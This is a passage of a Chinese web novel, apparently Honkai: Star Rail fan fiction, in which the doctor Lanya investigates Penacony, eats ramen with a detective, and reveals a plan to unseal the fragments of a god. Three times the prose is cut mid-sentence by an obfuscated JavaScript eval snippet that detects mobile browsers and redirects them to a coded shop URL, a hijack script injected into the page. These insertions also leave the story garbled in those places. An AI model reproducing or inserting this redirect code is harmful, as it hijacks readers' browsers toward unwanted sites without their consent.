虚照像是说贯口一样不带喘气地说完,橡皮从下往上一擦,颜色不见了,线条也不见了,这位剧团团长消失了,好像真的接着要去赶下一场活动。 兰涯看着这属于欢愉的一幕,把没来得及说的话还是对着空气说了出来:“可是你已经三个月没交水电费了,都是他垫着的啊。” 那张五十信用点的纸币被风吹得掀起一角,她伸手和名片一起拿起来。 地址在触及的瞬间亮了一下,位置、距离、方向,所有信息在亮起的瞬间完整地出现在她的意识中,像是游戏外挂一样把一个点位直接写进了她的认知里,绕过了阅读和理解的所有中间步骤。 很好,这很欢愉。 她站起来,收起五十信用点和名片,跃迁。从咖啡馆露天位到幻月秘庭,中间的距离被完全省略。 兰涯见过很多树,她甚至可以说,没有人比我更懂树。 希恩星岛上的阔叶乔木,翁瓦克雨林里那些挂着动物果实的巨树,千面千眼金色枝条如血管的倏忽,当然,如果这也算树。 著名园艺专家药师,祂总能给你整个大活。 这棵银杏树和所有那些都不一样。它非常高大,树冠覆盖了整个视野的上半部分。枝干从主干上分出,再分出,又分出。每一片叶子都在发光。 围绕着银杏树的,是幻月面具。每一张面具都朝向银杏树,保持着一种安静的、专注的注视姿态。 兰涯沿着小径走过去,看到了小浣熊的面具,毛茸茸的,眼眶周围的深色纹路,嘴角咧开,是星,毫无疑问。 她继续走,火花的兔子面具,长耳朵从面具顶部竖起来,一半黑,一半白,可以,这很符合星上次手舞足蹈讲的花火火花大战的人设。 她继续往前走,看到了一张狼型面具。狼的轮廓,线条削瘦,吻部微微张开,牙齿露出来,咬合得很紧,更像是止咬器。 “怎么除了异常防御部的人三天两头来,还有不认识的陌生人来?” 声音从她身后传过来。兰涯转过身,一个女子高中生站在树下,粉色头发上的兔子耳朵特别引人注目。 “狐狸耳朵,这是狐狸耳朵。”女子高中生仿佛猜出了她的想法,强调着。 兰涯疑惑地又观察了一遍,还是没看出和狐狸耳朵有什么相似之处。 不过她看出女高没什么敌意,当然也并非欢迎,只是“这是我的地盘,你最好有个合理的解释”的表情。 “我是来看病灶的医师。”兰涯说。 女高皱了皱眉:“怎么可能?如此旺盛的树木,完全没有生病的迹象。丰饶和欢愉的相性很好。”她说“很好”两个字的时候,语气里带着一种理所当然的确信。 兰涯抬起头,看着银杏树。树冠在她视野中铺展开来,每一片叶子都在发光。她看了好一会儿。 “对于丰饶来说,旺盛是好事。对于其他生物来说不一定了。”她把视线从树冠上收回来,落在女高脸上,“不过我也看过了,不是我病人的主要病因,只能算既往治疗史。告辞。” 她转过身,打算原路返回。 “哎,怎么说走就走啊?”女高的声音从身后追上来。 兰涯停下脚步,侧过头:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516335|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你说怎么总有不认识的陌生人来的吗?那我看了就走,不打扰你了。而且我已经懒得搞丰饶了,视觉疲劳了,会有人来解决的。” 她继续往前走。 “哎哎,怎么都愿意当谜语人?”女高的声音里带上了一点真正的着急,像是被人把好奇心吊到一半又撂下不管了,“不能再讲五十信用点的吗?” 兰涯没有回头。她的声音从虚空中飘回来,不高不低,刚好够绯英听到。 “对方给我的出诊定金只有五十信用点。所以,很遗憾,下次一定。” 她走出幻月秘庭的边界,跃迁的感知再次覆盖了她的存在。 鸡汤盐拉面店开在鸽川区一条窄巷子里。店铺的招牌是用毛笔手写的,挂在门楣上方,字体圆润,墨迹有些褪色了。兰涯走到店门口的时候,不死途已经在那里了。 他坐在店门口等位的长凳上,手杖靠在膝盖旁边。不知为何,整个人散发出一股湿漉漉小狗的感觉。 兰涯在他旁边坐下来,长凳其实不算长,两个人并排坐的话,肩膀会挨上:“怎么了?” 不死途没有抬头,他左右手的手指交叉又松开,松开又交叉:“我今天亏了十亿零三万信用点。” 兰涯把后背靠在墙壁上:“好,跳过十亿。那三万说说怎么回事?” 不死途的手指停住了。他侧过头,紫灰色的眼睛从垂着的发丝后面看着她:“你不问问十亿是什么钱?” 兰涯看着他:“你都欠了三百二十四亿了,还差这十亿?” 旁白从长凳边上出现,尾巴绕过爪背搭在自己脚边,字正腔圆的旁白音在巷子里响起来。 “事情是这样的:真珠女士用十亿信用点试图封口,要求侦探先生不追问告死魔事件的真相。侦探先生拒绝了。” 兰涯点了一下头:“这多正常,换我我也不要这十亿。”她的手指在不死途的手背上轻轻敲了一下,“细说三万。” 不死途的手指在膝盖上收紧了。 “我……为了掩饰自己看到三月七时的惊讶,花了三万信用点买了她手里的《苍天航路绒绒号》最新卷。” 无语是今夜的鸽川。兰涯看着他:“你不是更喜欢《麦卡托事件簿》吗?” “绒绒号最新卷烧给恶水了,我欠过他人情。”他叹了口气。 “看来你的调查已经有眉目了。” 共愿帮惨案的新闻从兰涯到达二相乐园第一天就开始天天播,几乎到了每小时每分钟都在贩卖焦虑的程度,真让她怀疑这里是没什么其他新闻流量了,还是电视台就是告死魔变的。 “你怎么不早告诉我?”不死途说,带着非常微小的一点点责怪,那种“你要是早告诉我我就不用花三万信用点买价值三百信用点的漫画了”的、软绵绵的、完全没有杀伤力的责怪。 兰涯摊摊手:“因为你手机欠费停机了,联系不上。” 不死途的嘴张开了,紫灰色的眼睛睁大了一点,然后他的嘴合上了,接着又张开了:“你……我……嗐!” 兰涯继续表示疑惑:“你今天好奇怪,以前都不会说这些事。” 旁白清了清嗓子,作为侦探助手敬业的声音响起:“医师没有想到,大脑空空的侦探先生的醉翁之意不在十亿。他只是想从中得到像小狗摸头一样的表扬而已。” 不死途的整张脸完全红了,习惯性地压低帽子伪装自己。 兰涯抬起手。 不死途的帽檐压得很低,她的手在半空中停了一瞬,然后改变了方向。手指落在他没有帽檐遮挡的脸颊上,拇指和食指轻轻捏住一小块皮肤,往上提了提,松开,又捏了捏。 “安慰你。”兰涯把手收回来,“今天我原定十八亿的诊金,只拿到五十信用点。这下我们两个一共倒欠两万九千九百五十信用点。” 她站起来,拍了拍衣角沾上的墙壁灰尘:“别吃拉面了,吃香蕉吧。” 56.第 56 章 鸡汤盐拉面还是要吃的。 旁白站在店门口,举着那张二人位号码牌:“二位,到号了。” 拉面端上来了,汤色清澈见底,带着些许金色的鸡油。鸡腿肉卷成的白肉叉烧切成厚片,边缘带着一圈很浅的焦色,笋干斜铺在叉烧旁边。葱花切得极细,撒在汤面上,被热气一蒸,香味和鸡汤的鲜味混在一起升上来。 兰涯先喝了一口汤。鸡汤的底味很干净,没有多余的调味,盐的用量刚好把鸡肉本身的鲜甜托出来。 有别于其他拉面,这家的面条很细,入口后的瞬间,面条在齿间弹了一下,然后断开。 不死途坐在旁边,面还没动。他的筷子搁在碗沿上,紫灰色的眼睛从帽檐下面看着她反应,嘴角往上扬着:“怎么样?” “你是怎么找到这家店的?”她问,带着一丝真正的意外。 以不死途目前的味觉状况,痛觉退化了多少她还在评估,味觉的损失程度只会更严重。苦味对他来说已经几乎不存在了,咸味和甜味的感知阈值也一定大幅上移。 这家店的汤头虽然鲜美,但走的是清淡的路子,不是那种用重油重盐强行冲击味蕾的风格。他能找到这家店,显然不是靠吃出来的。 不死途带着一种非常明显的得意:“这么多年下来,我对你的口味已经胸有成竹了。” “不过这家店,是异常防御部的治安官朽叶推荐的。”他拿起筷子,“她的日常爱好就是下了班去美食探店。” 话音刚落下,店门口的风铃响了一声。 一个穿着黑色职业装的女性走进来,进门之后先站在门口环顾了一圈,目光扫过吧台,落在双人桌的不死途身上,她的眉毛往上挑了一下。 “侦探先生?”朽叶走过来打招呼,“你怎么会带人来吃拉面?” 兰涯朝朽叶微微颔首:“你好,我是医师兰涯,侦探先生的朋友。” “治安官朽叶。”朽叶在兰涯旁边的空位坐下来,说,“今天下午的调查有点郁闷,所以化忧郁为食欲。” 兰涯注意到不死途没有接话,她盲猜这件调查就是眼前这两人参与的,故而也没有追问的想法,好奇心可是很危险的。 朽叶点的拉面还在煮,两位女性聊起了笋干的家庭处理办法,主要是朽叶说,兰涯听。 朽叶对兰涯的口味非常欣赏,分享了自己的配方:“笋干不能直接用酱油熬煮的,得先晒到半干,再用鸡汤、酱油、砂糖、味醂一起煨。煨到汤汁收干之后,再晾凉过夜。” 说到这里,她的面端上来了,她顺势夹起一片笋干,举到灯光下:“你看这个颜色,不是酱油的黑,是鸡汤收干之后的那种琥珀色。” 兰涯凑近了一点看。笋干的切面确实不是酱色,是更浅的、带着透明感的深琥珀色。 “鸡汤的鲜味把笋干自身的鲜味托住了。”她说。 “对对对!”朽叶的筷子在空中点了一下,“医师很懂啊!我之前跟同事推荐这家店,他们吃完说‘挺好吃的就是有点淡’。哪里淡了!明明是他们的舌头被公司食堂的重油重盐腌坏了!” 兰涯忍不住笑了:“不是淡,是鲜味需要舌头静下来才能吃出来。” 朽叶放下筷子,双手轻轻合拢拍了一下:“医师你这句话我要记下来。下次再有人说淡,我就原话甩过去。” 不死途坐在旁边,默默地吃着自己碗里的面。 他吃面的节奏非常稳定,紫灰色的眼睛盯着碗里的汤面,偶尔抬起眼皮看一眼兰涯和朽叶相谈甚欢的侧脸,然后低下去,继续盯着碗。 朽叶显然对美食的认知极为有见地,她和兰涯从笋干的处理方法聊到鸡汤的吊法,从鸡汤的吊法聊到二相乐园哪家面包店的盐面包做得最好,从盐面包聊到她上个休息日专门坐车去海原市吃了一家据说离百个琥珀纪的老店还差九十九个琥珀纪的可乐饼。 兰涯说自己吃过用猴面包果做的可乐饼,外皮炸得很酥,里面的果肉还保留了一点颗粒感。朽叶听得眼睛发亮,把这个做法记在了手机记事本里。 不死途碗里的面吃完了。他把筷子搁在碗沿上,端起碗把最后一口汤喝完。汤碗放下来的时候,碗底在台面上发出一声很轻的磕碰声。 朽叶的拉面也吃完了。她双手合十说了一句“多谢款待”,然后掏出钱包:“今天吃得太开心了。医师,下次有机会再一起探店啊。” 朽叶付完账,朝不死途挥了一下手:“侦探先生,回见。”风铃响了一声,她消失在店门外。 两人走出拉面店,回到报社已经很晚了,狸猫们早就下班了,旁白在隔间里盖着毯子睡得正沉。 靠在沙发上,兰涯用小刀划开自己左手,她下手很干脆,血珠从切口里冒出来。她把刀放下,很自然地把手腕伸向他。 不死途把三才钉稍微松了松,影子试探着从里面探出来,先是细细的的暗色丝线,绕着手腕打了几个温顺的圈,然后才慢慢往前延伸,完全包裹住她的左手。它虽然饿急了,但碰到她皮肤时仍然很轻,像是在小心翼翼地把贪婪的尖牙藏在深海之下。 影子开始吸吮了,像幼兽用奶牙叼住手,不敢咬太深,又舍不得松开。偶尔吸得过急,它还会自己停下来,松开一瞬,再重新贴上去,像是怕弄疼她。 放任影子补充血液这一诡异的场景,两个人开始闲聊起来。 “朽叶小姐很让人感到亲切。”兰涯说,她的目光落在狸猫没关掉的接线板的指示灯上,“她的声音和我之前追的动画角色很相似,有这个声音的不会是坏人。” 不死途从刚才旁观兰涯和朽叶聊天时莫名的沉默里恢复了平时的语调:“你这话也是捏他哪本漫画吧?肯定不是《麦卡托事件簿》。” “其实是捏他《渔公案》。”兰涯说。 不死途眨了眨眼,《渔公案》已经是不知道什么年代的常青作品,跨度之大让他早就放弃了追更。 影子吃饱了,它从兰涯手腕上慢慢撤下来,缩回三才钉下,甚至还主动帮忙愈合了伤口。 兰涯收起左手,似乎很满意影子的乖巧,对影子温柔地叮嘱:“记住这个味道,以后用得上。” 报社里没开灯,窗外街灯的光落在她脸上,把她的侧脸切成明暗两半。 “差点忘了。”她看向他,“后面我们要减少公共场所,特别是直播场所的出现。” 听了这话,他整个人从头到脚散发出一种非常熟悉的、兰涯见过很多次的气息。 沮丧的小狗。 “为什么?”他问。 兰涯侧过身,窗外的光从她肩膀后面照过来,把她的表情打上了一层很柔和的滤镜:“你也参加幻月游戏了,不是吗?” 不死途没有否认。 “我来这里是为了病人委托。这一次大概率得动个大手术,我可不想把我的术前准备什么的都直播出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那要看我进去后的评估结果了。”兰涯没有否认,脸上的微笑带着一些令真珠摸不准的含义,“实不相瞒,我做好了治疗不止一位星神的准备。” 真珠的面部表情在这一刻出现了一个极其短暂的、近乎失真的停顿,瞳孔里的数据流剧烈地闪烁了一次。 “这下我对医师的认知,要推翻重来了。”她说。 办公室后面的墙上挂着一幅画,尺寸很大,从天花板一直垂到地板上。 画的内容像是一片圆形的云,云的边缘处向内布满了尖锐的、像牙齿一样的突起。 真珠走到画前面,侧过身:“众神嗤笑之地。医师,请。” 兰涯和真珠一起走进画布里,碎裂的建筑物在周围铺展开来。 地面是不平整的,到处都是裂缝,裂缝深处有紫红色的光透出来。 空气是静止的,没有风,悬在半空中的建筑残骸在极其缓慢地旋转。 天空是紫红色的,云层的边缘布满尖牙利齿,那些牙齿像某种巨大生物的呼吸一样有节奏的开合。 兰涯站在一片倾斜的混凝土板上。 她环顾四周,目光从碎裂的建筑移到紫红色的天空,从天空移到云层边缘那些缓慢开合的牙齿。 她看了很久,接着转过身。 真珠站在她身后,明显在等待着医师医疗评估的结果。 “很遗憾,真珠女士。”兰涯的声音不高,但在静止的空气里传得很清楚,“我希望你代我联系钻石。如果你们不想被市场开拓部拉下水一起陪葬的话。” 真珠的瞳孔里,数据流的光彻底停住了。 57.第 55 章 飞船的舷窗之外,琥珀王的身躯占据了整个视野。 祂的躯体在虚空中静止着,表面的琥珀色结晶层缓慢地流动着极淡的光纹。 兰涯站在舷窗前。 这艘飞船不属于任何一条公司运营的旅游航线。琥珀王荣光一日游的观光飞船停在更远的轨道上,游客们隔着舷窗拍照,用十八亿信用点换来远远看一眼的权利。 她所在的这艘飞船,距离更近,且舱室内部没有任何游客设施,只有她面前空气中正在亮起来的那一团电子全息投影。 钻石没有以真身出现,而是选择了电子全息投影。投影的光很稳定,从靴子到发梢没有一丝闪烁。 在投影出现之前,甚至整个飞船都进行了窃听排除,可见这位存护令使的谨慎。 “医师。”钻石的声音从投影的方向传过来,音色经过电子信号的转换之后,带上了一层很薄的金属质感,“你找上战略投资部,仅仅是之前的医患关系吗?” 兰涯把视线从舷窗外面收回来:“当然不是。只是存护信徒最好真的信存护,而不是被污染的东西。” 钻石的投影没有动。 “奥斯瓦尔多和亚婆离那里连吃带拿这么久,你真的愿意被拉去垫背吗?”兰涯继续说。 “连吃带拿?”钻石说,“你不妨把话说明白点。” 兰涯看着他微笑:“你内心早就很明白了,不是吗?我不介意为你捅破窗户纸。狂热信徒之所以狂热,是因为吃到了‘贪得无厌’的美味。” 钻石的手指在膝盖上交叠了一下:“既然如此,你还敢在庇尔波因特的轨道飞船上出现?不怕被他们发现吗?” “这是我的诚意,顺便借此机会完成医疗评估而已。我可不想自己花十八亿上来转一圈。”兰涯语气很稳,毫不慌张,“更何况在我前往珠星大厦的那一刻,这已经不是秘密了。真珠周围的小耳朵可太多了,比如那位秘书,说不定现在已经给真珠闹了不少烦心事。” 钻石的投影陷入了思考中的沉默,琥珀王的光在他身后的舷窗外无声流淌。 “如果真珠的计算正确,你这个想法会把我们一起拖下水。” 兰涯再次看向舷窗外,琥珀王的身躯重新填满了她的整个视野。 从这个距离看过去,结晶层表面的光纹不只是美丽的装饰,每一条纹路都是一道裂缝被填补之后留下的疤痕。 琥珀王的身躯上布满了这样的疤痕,从祂封印贪饕的那一刻起就不断有裂缝产生,不断被填补。 她转过身,背靠舷窗:“这可不像你的胆量魄力。置之死地而后生,才是当下最好的策略。你也不想陪着对手,眼睁睁看着自己滑进绝灭大君攒的局,无法脱身吧?” “除了原本的情报,我愿意多送一条。”钻石的投影从椅子上站起来,“他们曾送了一块碎片给原始博士,而原始博士在——” “第Ⅸ机关,对吗?”兰涯打断了他的话,“非常感谢。那么我们合作愉快。” 她从舷窗前走开,经过钻石的投影旁,然后她的身影从舱室里消失了。 钻石的投影在原地停留了几秒,然后也消失了。 星穹列车的车厢里,暖黄色的灯光亮着。 帕姆端着一只大盘子从厨房方向走出来,盘子里的帕姆帕姆派堆得像一座小山,每一个派的表面都烤成了均匀的金黄色,酥皮层次分明,边缘处渗出一点点融化的黄油。整个车厢弥漫着面粉、黄油和糖混合烘烤之后的香气。 星从椅子上跳起来,手里挥舞着两根星铁FES的荧光棒。 “列车长!我给你表演一个‘啊打——!’”她说着摆出一个非常标准的功夫起手式,荧光棒在空气中划出金色的弧线。 帕姆端盘子的小圆手收紧,耳朵竖起来,整只绷成了一张弓:“星乘客!请勿在车厢内剧烈运动!盘子要翻了帕!” 这时,兰涯出现在车厢里,没有人看到她是从哪个方向进来的。 前一秒车厢里还只有星挥舞荧光棒的风声和帕姆的惊呼,后一秒她就站在车厢绿植旁边了。 “兰妈妈,你可错过一场大戏!”星把荧光棒往腰间一插,绘声绘色地讲起来,“新告死魔,满愿,战斗——” 她比划着大家怎么控的场,老日如何下降头,讲到她银河双剑侠堂堂登场的时候,甚至跳起来在空中挥了一下荧光棒。 然后她落回地面,荧光棒垂下来了。 “其实满愿她……”星的声音忽然低了下去,手指无意识地转着荧光棒的尾端,如果脑袋上有小浣熊的耳朵,想必也跟着垂下了,“兰妈妈,你说一个人被摆布到那种地步,还算活着吗?” 兰涯伸手摸摸星的脑袋,眼睛看向姬子,刚想再说什么,突然想起什么似的,两枚针悬浮起来。 时针与指针凝固了车厢的时间和空间,绕开了在座的所有人,落地二相乐园后的车厢里过去、现在发生的事情在此交汇。各种各样熟悉的人来列车做客,直到一个兰涯不熟悉的人出现。 “这是谁?” “这是我外公!”星积极举手,然后毫不客气地向不死途伸手,“我现在还有太爷爷了,太爷爷红包拿来!” 不死途一口茶差点喷出来:“太……太爷爷?这哪门子的辈分啊?” 星双手叉腰,下巴往上一扬:“我才三岁,不是太爷爷是什么?” 不死途瞠目结舌,好半天才吐出一句:“我……你……我……哎呦,嗐!” “好了,别闹了。”姬子打圆场,向兰涯解释,“这是我的父亲,隆介,也是绘世学院的校长。” “姬子,他真的是你的父亲吗?” 兰涯定定地看着这个人的幻影,看着他往吧台这里放了什么东西,然后她走向了吧台,在所有人的注视下,摸出了一个窃听器。 时针与指针撤回,时间和空间恢复正常,窃听器在兰涯手中化成一个混球,咯咯讥笑着:“绝境医师,你和艾利欧关系不错,那你能看到自己的结局吗?” 兰涯没有回答,手上微微用力,混球被掐灭了。 星期日皱起了眉头:“所以之前我们在满愿电视台遇到的被预判,是因为有窃听器?” 姬子陷入思考:“假冒我父亲的名义登上列车,所以他到底是谁?” 站在靠窗位置沉默不语的爻光开口了:“恐怕是一位绝灭大君。” 将军语出惊人,却很有道理,兰涯也像确认答案一样颔首:“将军高见,应该就是毁灭欢愉的绝灭大君,归寂。” “大家都很难发现,我也不可能留意到,只是刚刚结束的一次会面过 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爻光的声音从靠窗的位置传过来:“原来如此。我观前路阴晦无常,怕不是绝灭大君归寂设下的局中局,目的就是吸引帝弓一箭射爆哈托彼亚。如此一来,常乐天君封印的食天祸祖就被放出来了。” “将军说少了。不是一位绝灭大君,起码是幻胧、归寂、光逝三个大君攒起来的局。”星图全息投影在虚空中亮起,兰涯不紧不慢地说出骇人听闻的结论,“封印一旦解开,绝灭大君光逝就可以利用贪饕的神躯升格,这和铁墓利用博识尊升格加冕毁灭全宇宙一样。” 车厢里的空气像被抽走了一部分温度,大家神色凝重起来。 不死途皱了皱眉:“这么说,更加不能松动贪饕的封印了。” 兰涯摇头:“不。我不仅要解除哈托彼亚的封印,还要把所有贪饕碎片的封印解除。” 爻光从靠窗的位置往前走了一步:“医师可知解除所有封印意味着什么?” 星张大了嘴,脑袋上疯狂加载中:“合成大倏忽还没完,还要合成大贪饕?” 三月七怀里的抱枕被她勒得变了形:“一个丰饶令使就很难打了,还要打一个星神吗?” “所以我需要各位的帮助,不然我一人无法拿起手术刀。”兰涯的手指在星图上划过,在星图上一一指点。 “首先,得解除贪饕碎片的封印。目前我已经掌握所有碎片的下落。” “一块在这里,哈托彼亚。”她的手指移向另一个坐标,“一块在贝洛伯格。这两块需要找人帮忙解开封印。” 手指移到星图边缘,一个没有任何标记的空白区域:“一块在第Ⅸ机关。我已经联系了我的朋友,她愿意帮忙。” 手指最后落在星图中央,一个被特别标注出来的坐标:“还有一块在琥珀王的体内,由我来完成祂的腹腔镜手术。” 她说完,抬起头,目光落在不死途身上。 “碎片封印解除后,由侦探先生放出影子,让影子和碎片产生共鸣,最后合成大贪饕。”她的手指在桌面上轻轻点了一下,像是在落下一枚棋子,“既然绝灭大君想利用贪饕的神躯升格,我抢在他前面用完不就行了?” 兰涯再转向虚照:“趁这个时候,把祂那个不听话的头——归寂,给重置了拧回来,比祂想坑自己脑袋当黄金马桶的主意讲礼貌一点吧?” 58.第 56 章 听完这些雷霆发言,虚照傻了。不止她傻了,车厢里所有人都没有说话。 虚照好不容易才找回自己的声音:“你还要给琥珀王做开腹手术?公司不会炸吗?” 兰涯把星图关闭:“我已经和战略投资部达成了协议,大可放心。” 瓦/尔/特思考着:“医师说绝灭大君想利用贪饕的神躯升格,那么你抢在他面前使用贪饕的神躯,不也是会被影响么?” “升成毁灭终末的毁灭大君?”星的突发奇想把兰涯给逗乐了。 兰涯忍不住摸摸小浣熊的脑袋,轻轻揉了揉,手指从小浣熊的额前往后梳,梳到后脑勺的时候,星的耳朵动了动。 她把手放下来。脸上的表情从纵容的温和收束成了另一种更重的质地,看着在场的每一个人,然后开口。 “容我再次自我介绍一下,人类之躯名为兰涯,实则是虚数之树的「存在锚定器」。或者说,如果宇宙是一台大型的翁法罗斯「权杖」,我也许就是「权杖」的「主板」。” 她停了一拍。 “所以,贪饕的神躯对我来说不存在「升格」一说。” 兰涯说完,车厢里一时间没有人说话。 帕姆帕姆派的香气还在空气中飘着,和车厢里骤然的沉默交织,让人觉得这沉默格外的长。 星的嘴里还含着半口帕姆帕姆派。她嚼了两下,忘了咽,腮帮子鼓着,眼睛瞪得溜圆,脑袋右上方疯狂地正在加载中。 虚照推了推眼镜,试图抢救一下气氛:“那个,所以上次你说诊金只要十八亿还真是良心价了?” 兰涯点点头:“没错,记得别赖账。” 不死途坐在角落里,紫灰色眼睛定在兰涯的脸上,眉头皱着,然后极其缓慢地、几乎不可察觉地摇了摇头。 兰涯注意到了,给了他一个眼神,仿佛在说“我知道你在想什么,但你先别想”。 爻光摸着下巴思忖,然后开口了:“乍听上去荒诞之极,如今医师的底牌都亮出来了,仔细一想,似乎也不是不行。我与幻月仲裁者达成了某些一致,可以拜托她协助。” 星积极举手:“我可以拜托桑博他们那些假面愚者一起去完成贝洛伯格的解封。” 车厢一角,一个声音响起来。银狼的语调,带着那种嘴里可能还叼着棒棒糖的含糊:“医师啊,你果然可怕,想法也很可怕,难怪艾利欧叫我关注你。喏,他借我的账号要问你话。” 空气中亮起一小片全息投影。黑猫从投影里走出来,尾巴竖着,尾尖微微弯了一个弧度。它走到圆桌中央,金色的眼睛在车厢暖黄色灯光中显得格外亮。 “列神之战已经展开。”声音从全息投影里传出来,沙哑的,“你这样做,万一失败了,整个宇宙都要陪葬。” 兰涯看着黑猫。 “最不该问这个问题的就是你。”在车厢的安静中,她的语气极为笃定,显然是早已做好了一切可能性的准备,“我已经锚定了现在这个时刻以前所有的存在,用银狼的话来说就是存档。一旦失败,我会以我自己为锚点,为你们恢复存档,继续开拓更多可能性之路。” 黑猫思考了一下,尾巴和脑袋同时点了点:“可以试试,丰饶的问题我会让刃来解决。”它看向列车组,补充,“我建议丹恒和星期日两位一同参与处理。” 能从艾利欧口中说出的建议,那不是普通的建议,丹恒和星期日互相看了一眼,应下来。 随后黑猫再看向兰涯,金色的眼睛有一种说不清的沉重:“那么,代价呢?” 兰涯眼睛里的光从自信的笃定变成了一种更深邃的东西:“微不足道的代价而已,不是吗?” 她扫过车厢里每一张脸,缓解了一下气氛。 “放心,这是最坏的打算。我不会让它成真的。” 不死途感觉兰涯在交接遗产。 几本账本,封皮有深蓝色的也有浅灰色的,书脊上用笔写着年份区间,账本在桌上依次排开。 “岛上的收支账目是这本。”她的手指从第一本移到第二本,再移到第三本,“我的卡号密码记在了这里。这张卡是公司联名卡,使用的时候要小心,会被公司大数据监测。除非和公司有生意往来,其他时候不要用。可以选择余下两张卡轮流代替,注意平衡。” 翻到第三本的某一页,指尖在两行数字上停了一下:“这两张卡里有定期理财,还算不错。” 账本合上,她没抬头,继续拿东西。土地产权文件的原件和复印件,除了希恩星那座岛的转让证明,后面还有几张纸。 “此外还有土地产权。除了希恩星,我还有在——” “这些我不需要知道。”不死途的声音从她对面传过来,紫灰色眼睛在帽檐下面定定地看着她。 兰涯摇头:“你需要。” 旁白蹲在冰柜上,一动不动。他看着侦探先生的脸,又看看医师的侧脸,尾巴尖不安地轻轻扫了一下冰柜盖子。 桌上的文件在灯光下投出层层叠叠的阴影,冰柜压缩机的嗡声填满了三个人之间的沉默。 不死途走到兰涯面前。他比兰涯高,站得这么近的时候,帽檐的阴影几乎完全遮住了她的脸。 他的嘴唇动了动。旁白的声音比他先响起来了,依旧是字正腔圆的旁白音,但是这一次没有“侦探先生用被冰柜门夹过的脑子飞速思考”的调侃。 “此时此刻,侦探先生内心升起巨大的不安。直觉告诉他,医师这样像是在交代后事。” 不死途没有转头看旁白。 兰涯也没有。她把摊在桌上的账本整理好,银行卡放在文件上面,才开口:“如果这么说,我的确在交代后事,为艾利欧说的失败路线做好保底。” 不死途握着手杖的手指在杖柄上收紧,能听到他右手指节收紧时关节发出的很轻的摩擦声。他的声音压得很低,低到几乎是从牙缝里挤出来的:“你已经打算去死了吗?” 兰涯抬起头,看着他的眼睛。她能从他的瞳孔里看到自己的脸,她站在他眼睛里,表情一如既往的平静。 “我不会死的。你又不是不知道。” “你骗人。”这三个字从不死途的嘴里脱口而出。 兰涯诚实地说:“我不骗人。宇宙不灭,我也不灭。” “那么‘微不足道的代价’是什么意思?”他说话的时候面带愠色,感觉像是那种被最亲近的人用白色谎言搪塞了之后从心底涌上来的恼怒。 旁白感受到了风雨欲来,他无声地从冰柜上跳下去,把门轻轻地带上。 兰涯看着门关上,然后把目光收回来,没有正面回答不死途的问题。 “阿哈曾经对我说,‘即使一点点帮助,也能让人类前进寻求答案的旅程轻松一点。就像给资源匮乏、一年只能喝一碗热汤的战士,提供每天一碗热汤的补给。’” 她低下头,目光落在自己摊开的双手上,这双手残留不了任何伤痕:“说实话,我并没有做到。当命运的金线束缚住一切时,我是无力的。” “你做到了你能做的,你不是万能的。”如同鼓满气的气球突然泄了气,不死途叹了口气,“连星神都不是万能的。” 兰涯把账本拿起来,塞进不死途手里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520189|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我相信人的力量是万能的。”她说,抬起头看着他,“不要担心,我在。” 兰涯独自走在二相乐园的街道上。此时正处在午后和傍晚之间那个说不清是几点钟的时段,街灯还没有亮,天空的颜色是一种介于灰蓝和浅紫之间的色调。她转过一个街角,抬眼。 朽叶静静地站在那里,一看就不是偶遇。 兰涯在朽叶发声之前先打了招呼:“朽叶小姐。” 朽叶的目光落在她脸上,比在拉面店里多了不止一层东西。 兰涯没有等她问,先开口了,声音在安静的街角只有两人能听到。 “我曾闻寰宇间有一寺曰丹轮寺。僧人出身杀戮成性的步离人,却选择了不杀之路,哪怕付出生命。僧人救助了被植入杀戮程序的智械,智械放弃杀戮命令选择受戒,后又为了保护僧人,毅然选择破戒。面对质疑,智械用自身的毁灭向世人证明了本性不过是伪命题。” 她停顿了一下,晚风吹过,落叶飘过二人之间:“杀戮之上最伟大的力量,就是选择善的力量。不在于善,而在于选择。有作恶的能力却主动选择了善,才是最可贵的。” 那片落叶飘过去,被风从街角又吹到了街灯底下。 朽叶的目光带着探知的意味,道:“医师的故事发人深省。但二相乐园的欢愉已然变味,让生命都在渴求原初。” 这张初次见面时就让兰涯觉得亲切的脸,现在在即将亮起的街灯下显得更清晰了。那种亲切感其实无关声音,也无关某部动画里的角色,与因缘有关。 就如某颗星球上的传说中,为了使神和人不致于分离而诞生的「天之楔」却引导人类反叛诸神,正所谓“人之高目能上天,人之阔莫如高山”,「天之楔」想要捍卫人类自主命运与发展权利,而不是在众神赋予人类注定的死亡后,看着人类常常恐惧而沮丧地面对终点。 诸神创造出为了将「天之楔」束缚并将其带回天上的「天之锁」。 但成为「天之楔」的朋友的「天之锁」,选择了按照朋友的愿望,将这“连天都能束缚的锁”成了为人而用的道路。获得人之心后的「天之锁」,最终以人偶之躯归于尘土。 此时此刻,恰如彼时彼刻。 在哈托彼亚,由月亮骑士带到人间的古兽,作为神给予力量用于监督贪饕神骸碎片的「锁」,在经历欢笑与痛苦的时光里,是将回归原初,还是与人同行? 